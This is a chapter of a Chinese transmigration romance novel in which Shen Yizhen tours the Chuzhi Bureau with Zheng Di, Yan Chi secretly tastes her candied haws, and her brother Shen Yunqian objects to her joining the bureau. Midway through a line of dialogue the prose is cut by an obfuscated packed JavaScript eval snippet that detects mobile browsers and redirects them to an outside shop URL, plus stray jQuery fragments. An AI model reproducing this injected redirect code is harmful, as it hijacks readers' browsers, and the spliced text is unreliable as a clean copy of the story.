马车在黜陟司正门前缓缓停稳。
沈懿贞刚咽下最后一颗糖葫芦,车帘便被车夫从外面掀开,夜风裹着司衙的肃杀之气扑面而来。
“督主,到了。”
沈懿贞见晏敕手里的糖葫芦仍旧完好无损,试探着开口:“你若实在不爱吃,不如就还给我吧。”
晏敕不语,径自走下马车。
沈懿贞跟在他身后,权当他是默认,便想伸手去拿。
谁知晏敕却将糖葫芦举过头顶。
身高差距令沈懿贞无计可施。
她踮了踮脚,发现差距过于悬殊,只得悻悻收回手,语气幽怨:“大人,浪费粮食可不是什么美名,回头小心我参你一本。”
晏敕没有答话。玄色大氅在夜风中轻轻一振,运起轻功,一个闪身,连人带糖葫芦,消失在了黜陟司的重檐楼阁之间。
将沈懿贞和收拾脚踏的马夫留在原地。
沈懿贞:“……”
好歹告诉她要干什么再走呀!
没等她在内心咆哮完,一个脑袋从司衙大门内探了出来。
来人面如冠玉,眉眼含笑,那张脸怎么看都像是应该在春日踏青的画舫上吟诗作对的世家公子。
他从善如流地从沈懿贞手里接过剩下的糖葫芦,转手分给了门口的几个赤缇卫,动作行云流水。
“想必你就是我未来的同僚、黜陟司第一位女风宪使、沈懿贞沈小姐吧?”
沈懿贞看着眼前这个与黜陟司形象截然相反的男子,脑海中稍微搜索了一下,确定了此人身份。
“你是郑迪?”
郑迪连连点头,洋洋道:“没想到,本使的美名已经传到了沈宪使耳中,真是令人欣喜!”
沈懿贞讪讪地挠头。
其实她在看原文的时候,对郑迪此人脑补的形象一直是个油嘴滑舌的皮条客。没办法,原文中的郑迪是晏敕麾下第一刽子手,杀人越货无恶不作,偏生一张笑面在京中混得风生水起。
若说晏敕是活阎罗,那郑迪就是鬼无常。
但对着眼前这个甚至可以用“阳光开朗大男孩”形容的风宪使,沈懿贞竟有些许的错位感。
她甚至都有些怀疑,原作者为了抬高男女主的形象,故意矮化了一众配角——就像原主被写成温吞懦弱、早早死去的炮灰一样,郑迪在原文里大概也只是一个用来衬托晏敕冷酷无情的工具人。
郑迪非常自觉地担任起导游一职,按照顺序给她介绍司衙的各个部门。
沈懿贞平素里就是个路痴,在现代时靠着手机导航才能不走丢,如今面对这七拐八绕的亭台楼阁,一圈讲下来,甚至连黜陟司的大门朝哪个方向还没弄明白。
郑迪看出她眼神中的迷茫,安抚道:“放心,你作为风宪使,最重要的就是跟督主出门办案,现下只管记住督主的书房和议事厅即可,其他的都不重要。”
沈懿贞努力回忆了一下方才走过的路线,诚实地说:“你也没告诉我督主在哪。”
郑迪抬手指向不远处那座在黜陟司一众低矮院落里格外醒目的楼阁——一座两层重檐的独栋建筑。
“那是机要阁,除了外出办案,督主大部分时间都在那。”说着,他压低了声音,语气明显沾染些许个人恩怨,“但没人会闲得没事去找他,除非活腻了。”
沈懿贞也学着他的动作,小声道:“可我觉得督主还挺好说话的。”
闻言,郑迪直起身,默不作声地朝她比了个大拇指。
“不愧是能让督主掏钱的人。”
他这话倒是提醒了沈懿贞。
“前些日子我有些东西让金缕坊送来,还特意让墨廿知会了一声,不知道放在哪了?”
“那些都放进库房了,督主还特地吩咐库房的人好生看着,别让那些刀枪剑戟弄坏了。”
沈懿贞眸光微动。
正当她要说什么时,一名赤缇卫走上前。
“见过二位宪使,门口有位自称沈家三公子的人,说要接沈宪使回府。”
沈懿贞看了看天色,估摸宫宴已散,想必沈峰回府后想找她兴师问罪,却发现她根本不在府中。
郑迪见她沉默,低声问道:“可需要我帮你搪塞一番?”
沈懿贞闻言失笑。
不是说黜陟司个个都是披着人皮的恶鬼吗,怎么今日一个两个上赶着帮她?
“你的好意我心领了,”她笑着摇了摇头,“奈何我这个弟弟是个死脑筋。若是他见不到我,怕是要赖在司衙门口不走了。”
她可不希望沈昀谦抱着门口的石狮子掉眼泪。
说着,沈懿贞示意赤缇卫带路,走出去两步,回头望了一眼没有燃灯的机要阁。
“有劳郑宪使替我同督主道个别。”
郑迪应声,沈懿贞随着赤缇卫转过影壁,消失在夜色中。
他转过身,正要抬脚往里走,余光瞥见二楼栏杆旁不知何时多了道负手而立的身影。
郑迪懒得绕路上楼,索性仰起头直接开口,声音穿过夜幕:“督主,人都走了,你也不张罗着送送人家。”
晏敕垂眸俯视着他:“你怎么不去?”
“我?”郑迪指着自己的鼻子,“人是您亲自带回司衙的,一声不吭扔在门口就走,要不是我机灵过去迎门,想必咱们黜陟司在沈小姐心里的形象已经一落千丈了!”
晏敕抿起薄唇,淡淡道:“你若实在是闲,就去查查沈昀谦。”
说完,转身回了机要阁。
屋内没有点灯,漆黑一片,唯有窗棂的缝隙间漏进几缕淡白的月色,在地上铺开一层薄霜。
晏敕点燃烛火,微光摇曳着漫开,那张摆在正中的宽大檀木桌上铺开一页油纸,中间栖着半融的糖葫芦,纸面上已然洇出一小片琥珀色的渍。
他方才之所以着急离开,是因为指尖感受到一滴坠落的糖液。他不希望自己被这陌生的气味与触感沾染,更不希望在沈懿贞面前露出任何措手不及的表情,只得草草离开。
等他安置好糖葫芦,后知后觉地意识到自己方才将她落在门口。想到这一路上的气氛并不算愉快,兴许这会儿她对自己更有怨言了。
晏敕心底有些异样,却不打算为此多作解释。
世上有这么多厌恶黜陟司、厌恶他的人,如若挨个解释过去,穷极一生也无法自证清白。
多她一个也不多……
想着,他伸出手,轻轻触上那颗半融的糖葫芦。
指尖沾着的糖已经凝住,在皮肤上结了一层极薄的、透明的硬壳,与竹签上流淌下来的纹路完美契合。
良久,晏敕拿起糖葫芦,将信将疑地咬了一口。
他沉默了一会儿,低声道:“难吃。”
也不知道在说给谁听。
·
沈懿贞走到司衙门口,果然见沈昀谦立在门廊的灯笼下。他怀里抱着件月白狐裘披风,裘毛在夜风中轻轻拂动,那张本就冷白的脸被灯笼映得愈发清透。
他正沉着脸与方才接受糖葫芦贿赂的赤缇卫大眼瞪小眼。
见她出来,沈昀谦二话不说直接上前,将披风抖开裹在她肩头,被他的体温烘得暖融融的狐裘绒毛贴上来,兜帽遮过头顶,宽大的帽檐垂下来,将她的视线遮得严严实实。
“纵使姐姐再贪玩,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579431|204253||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”他的声音闷闷地从兜帽外传进来,带着一股子压不住的气恼,“也不该在此处逗留。”
沈懿贞抬起双手,将自己的脸从层层叠叠的绒毛中扒拉出来,露出一双被捂得水汽氤氲的眼睛。
“可是我不日就要来黜陟司当值了,眼下不过是先来认认门。”
沈昀谦瞳孔缩了缩,哑声道:“当值?”
沈懿贞不想跟他在门口吹风,于是低头去捉他的手。
沈昀谦下意识往回缩了半寸,然后停住了——她的手指轻轻搭上他冰凉的指尖,像一只随时会飞走的鸟。
他卸下力道,任由她牵着,一步一步走上马车。
两人面对面坐下,车厢里暖意融融,案几上搁着一壶还在冒热气的茶。沈懿贞摘下兜帽,自顾自翻起一只茶盏,拎起茶壶斟了七分满,捧在手心里,抿了一口。
缓过劲儿后,她隐去与萧临安和晏敕的部分,将新岁宴上的经过大致描述给沈昀谦。
“不可以!”沈昀谦急急打断她,“黜陟司是与整个朝堂为敌的异类,朝中上至一品大员、下至九品小吏,对黜陟司皆是恨之入骨。就算姐姐不想嫁给柯修明,也犯不着与贵胄势不两立。”
沈懿贞懒懒地掀起眼皮:“有何不可?”
沈昀谦顿了顿,咬牙道:“而今大寰局势不稳。西南大旱,流民百姓死伤众多,边境四族接连进犯,北疆战火纷飞,朝廷连年用兵,国库日渐空虚,京中的繁华盛景不过是表象。吏部此时推行女官,分明就是要将治世无能的责任推到女子身上。姐姐在这个节骨眼入黜陟司,无论如何行事,都注定沦为千夫所指的罪人。”
沈懿贞望着他,少年青涩的面容上写满担忧,可那双眼中却藏着一口深不见底的古井,任凭东西南北风,也吹不开一丝褶皱。
原文中,白莹馨之所以能追着萧临安一路到西北,也是因为吏部推行女子为官的政令。
彼时,世家贵女皆不愿抛头露面,寒门小户又够不上推举的资格,身为左相庶女的白莹馨反倒成了各方面都挑不出错的人选。在左相的安排下,她在靖安侯亲兵中谋得参将一职,后随太子出征。
她收回思绪,问他:“你在担心我?”
沈昀谦颔首。
“既如此,”沈懿贞拉长调子,“那我便也问问你,我在昭南寺受罚的时候,你怎么不担心?”
说到这个,沈昀谦的脸色蓦地难看起来。
他别开眼,侧脸的线条绷得死紧,嘴唇翕动了一下,又死死咬住下唇。
“父亲当时看出我想设法带姐姐离开,于是在姐姐受家法那晚,命管家将我打晕,送上去往东瀛国的商船。等我醒来,船队已经靠岸东瀛。通商事关两国邦交,诸多事宜需要有人定夺,我没有办法,只能等贸易结束,再随船回大寰。”
沈懿贞默不作声地将他的说辞对照原文。
沈家自沈峰袭爵后,在朝中的威望日渐式微,手中实权远不如前。皇帝为了保全国公府的体面,将管辖各国通商的司舶使一职交由沈峰担任。
看来真正出使各国的并非沈峰,而是沈昀谦。
沈懿贞撑起脸,目光探寻地望着沈昀谦。
“若我说,我就是想去黜陟司呢?”
“为什么?”眉心又皱了起来,语气里有种恨铁不成钢的焦躁。
沈懿贞略作思考:“因为黜陟司的人长得好看,说话又好听?”
沈昀谦的神色骤然暗了下去,像是被什么东西从内部抽走了光,只剩下一片沉沉的黑。
他开口,语气平静得近乎诡异:
“难道说,姐姐是看上了晏敕,才要退婚?”